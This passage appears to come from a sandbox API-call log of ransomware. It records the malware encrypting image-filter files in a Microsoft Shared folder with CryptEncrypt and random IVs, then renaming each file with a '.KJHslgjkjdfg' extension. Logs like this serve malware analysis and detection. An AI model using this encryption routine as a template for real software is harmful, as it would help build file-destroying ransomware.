lpNewFilePointer=0x0) returned 1 [0142.088] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x780, lpOverlapped=0x0) returned 1 [0142.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.089] SetEndOfFile (hFile=0x114) returned 1 [0142.091] GetProcessHeap () returned 0x2a0000 [0142.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.091] GetProcessHeap () returned 0x2a0000 [0142.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.kjhslgjkjdfg")) returned 1 [0142.097] CloseHandle (hObject=0x114) returned 1 [0142.097] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0142.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.098] GetProcessHeap () returned 0x2a0000 [0142.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.098] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0142.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.100] GetProcessHeap () returned 0x2a0000 [0142.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.101] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.101] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.101] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.101] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.101] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.101] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.101] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3adb, lpOverlapped=0x0) returned 1 [0142.102] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ae0, dwBufLen=0x3ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ae0) returned 1 [0142.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.102] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ae0, lpOverlapped=0x0) returned 1 [0142.103] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.103] SetEndOfFile (hFile=0x114) returned 1 [0142.105] GetProcessHeap () returned 0x2a0000 [0142.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.105] GetProcessHeap () returned 0x2a0000 [0142.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.kjhslgjkjdfg")) returned 1 [0142.113] CloseHandle (hObject=0x114) returned 1 [0142.114] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0142.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.114] GetProcessHeap () returned 0x2a0000 [0142.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.114] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0142.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.117] GetProcessHeap () returned 0x2a0000 [0142.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.117] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.117] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.117] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.118] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.118] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.118] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.118] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x42d, lpOverlapped=0x0) returned 1 [0142.119] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x430, dwBufLen=0x430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x430) returned 1 [0142.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.119] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x430, lpOverlapped=0x0) returned 1 [0142.119] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.119] SetEndOfFile (hFile=0x114) returned 1 [0142.122] GetProcessHeap () returned 0x2a0000 [0142.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.122] GetProcessHeap () returned 0x2a0000 [0142.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.kjhslgjkjdfg")) returned 1 [0142.129] CloseHandle (hObject=0x114) returned 1 [0142.130] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0142.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.133] GetProcessHeap () returned 0x2a0000 [0142.133] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.133] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.133] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0142.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.136] GetProcessHeap () returned 0x2a0000 [0142.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.136] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.136] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.136] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.137] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.137] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x425, lpOverlapped=0x0) returned 1 [0142.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x430, dwBufLen=0x430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x430) returned 1 [0142.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.137] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x430, lpOverlapped=0x0) returned 1 [0142.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.137] SetEndOfFile (hFile=0x114) returned 1 [0142.140] GetProcessHeap () returned 0x2a0000 [0142.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.140] GetProcessHeap () returned 0x2a0000 [0142.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.kjhslgjkjdfg")) returned 1 [0142.143] CloseHandle (hObject=0x114) returned 1 [0142.143] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0142.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.143] GetProcessHeap () returned 0x2a0000 [0142.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.143] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.144] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0142.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.146] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.146] GetProcessHeap () returned 0x2a0000 [0142.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.146] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.146] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.147] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.147] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.147] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x692, lpOverlapped=0x0) returned 1 [0142.147] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0) returned 1 [0142.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.147] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6a0, lpOverlapped=0x0) returned 1 [0142.147] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.148] SetEndOfFile (hFile=0x114) returned 1 [0142.150] GetProcessHeap () returned 0x2a0000 [0142.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.150] GetProcessHeap () returned 0x2a0000 [0142.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.kjhslgjkjdfg")) returned 1 [0142.153] CloseHandle (hObject=0x114) returned 1 [0142.153] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, 